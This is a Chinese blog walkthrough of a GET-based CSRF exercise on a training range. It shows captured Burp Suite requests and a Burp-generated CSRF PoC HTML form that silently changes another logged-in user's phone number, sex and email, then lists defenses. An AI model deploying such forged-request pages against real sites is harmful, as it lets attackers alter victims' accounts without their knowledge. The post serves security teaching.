

东塔攻防世界CSRF的Get型

原创

遥远之空 于 2021-10-08 19:41:23 发布 1460 收藏 1

文章标签: [网络安全](#) [安全漏洞](#) [信息安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_51646864/article/details/120657723

版权

CSRF跨站点请求伪造(Cross-Site Request Forgery)

攻击者盗用了你的身份, 以你的名义发送恶意请求, 对服务器来说这个请求是完全合法的, 但是却完成了攻击者所期望的一个操作, 比如以你的名义发送邮件、发消息, 盗取你的账号, 添加系统管理员, 甚至于购买商品、虚拟货币转账等。

靶场练习:

1、点开环境, 发现已经给了几个账号, 密码默认为123456, 如下图



Please Enter Information
[Username:vince/allen/lucy,Password:123456]

Login

CSDN @遥远之空

2、先用vince用户登录进入如下界面

hello,vince,欢迎来到个人中心 | [退出登录](#)

姓名:vince

性别:boy3333

手机:18684444444444

住址:China Hubei

邮箱:vince@dota.com

[修改个人信息](#)

CSDN @遥远之空

3、修改个人信息并用bp抓包拦截

hello,vince,欢迎来到

burp suite professional v2.0.1 beta - temporary project - licensed to suiterxyz by liaozhang

Burp Project 测试器 重发器 窗口 帮助

姓名: vince

性别: girl

手机: 233333333

住址: China Hubei

邮箱: vince@dota.com

submit

仪表盘 目标 代理 测试器 重发器 定序器 编码器 对比器 插件扩展 项目选项 用户选项

拦截 HTTP历史记录 WebSocket历史 选项

http://120.25.24.45:31213 请求

发包 废包 拦截请求 行动

Raw 参数 头 Hex

```
GET /csrf_get_edit.php?sex=girl&phonenum=233333333&add=China+Hubei+&email=vince%40dota.com&submit=submit HTTP/1.1
Host: 120.25.24.45:31213
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://120.25.24.45:31213/csrf_get_edit.php
Cookie: PHPSESSID=hq4mc7i7skk07db0idtugklpv2
Upgrade-Insecure-Requests: 1
```

CSDN @遥远之空

4、接下来进行CSRF Poc生成

http://120.25.24.45:31213 请求

发包 废包 拦截请求 行动

Raw 参数 头 Hex

```
GET /csrf_get_edit.php?sex=girl&phonenum=233333333&add=China+Hubei+&email=vince%40dota.com&submit=submit HTTP/1.1
Host: 120.25.24.45:31213
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://120.25.24.45:31213/c
Cookie: PHPSESSID=hq4mc7i7skk
Upgrade-Insecure-Requests: 1
```

- 扫描
- 发送给Intruder Ctrl+I
- 发送给Repeater Ctrl+R
- 发送给Sequencer
- 发送给Comparer
- 发送给Decoder
- 通过浏览器请求
- 相关工具
 - 参考源搜索
 - 内容搜索
 - 安排任务
 - CSRF PoC生成**
- 变更请求方法
- 身体编码改变
- 复制网址
- 复制curl命令
- 复制到文件
- 从文件粘贴
- 保存项目

CSDN @遥远之空

Raw 参数 头 Hex

```
GET
csrf_get_edit.php?sex=girl&phonenum=233333333&add=China+Hubei+&email=vince%40dota.com&submit=submit
HTTP/1.1
Host: 120.25.24.45:32691
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
```

没有比较

CSRF HTML:

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState("", "", "/</script>
```

```
<form action="http://120.25.24.45:32691/csrf_get_edit.php">
  <input type="hidden" name="sex" value="girl" />
  <input type="hidden" name="phonenum" value="233333333" />
  <input type="hidden" name="add" value="China&#32;Hubei" />
  <input type="hidden" name="email" value="vince&#64;dota&#46;com" />
  <input type="hidden" name="submit" value="submit" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```



5、创建csrf文件txt文件，将上一步生成的CSRF HTML代码复制到csrf.txt中，修改文件后缀名为csrf.html

csrf.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

```
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>history.pushState("", "", '/')</script>
    <form action="http://120.25.24.45:31213/csrf_get_edit.php">
      <input type="hidden" name="sex" value="girl" />
      <input type="hidden" name="phonenum" value="233333333" />
      <input type="hidden" name="add" value="China&#32;Hubei&#32;" />
      <input type="hidden" name="email" value="vince&#64;dota&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

CSDN @遥远之空

6、在另一个浏览器中用allen登录

hello,allen,欢迎来到个人中心 | [退出登录](#)

姓名:allen

性别:boy

手机:18688888882

住址:China Hubei Wuhan Dazhi No 89

邮箱:allen@dota.com

[修改个人信息](#)

CSDN @遥远之空

7、当用户allen点击csrf.html这个网页，提交请求时，allen的手机号和性别就会被篡改，如下图。

hello,allen,欢迎来到个人会员中心 | [退出登录](#)

姓名:allen

性别:girl

手机:233333333

住址:China Hubei

邮箱:vince@dota.com

[修改个人信息](#)

CSDN @遥远之空

以上为靶场练习，实际更严重的话还可以修改登录密码等敏感信息。

防御方式：

- 1、验证 HTTP Referer 字段
- 2、在请求地址中添加 token 并验证
- 3、在 HTTP 头中自定义属性并验证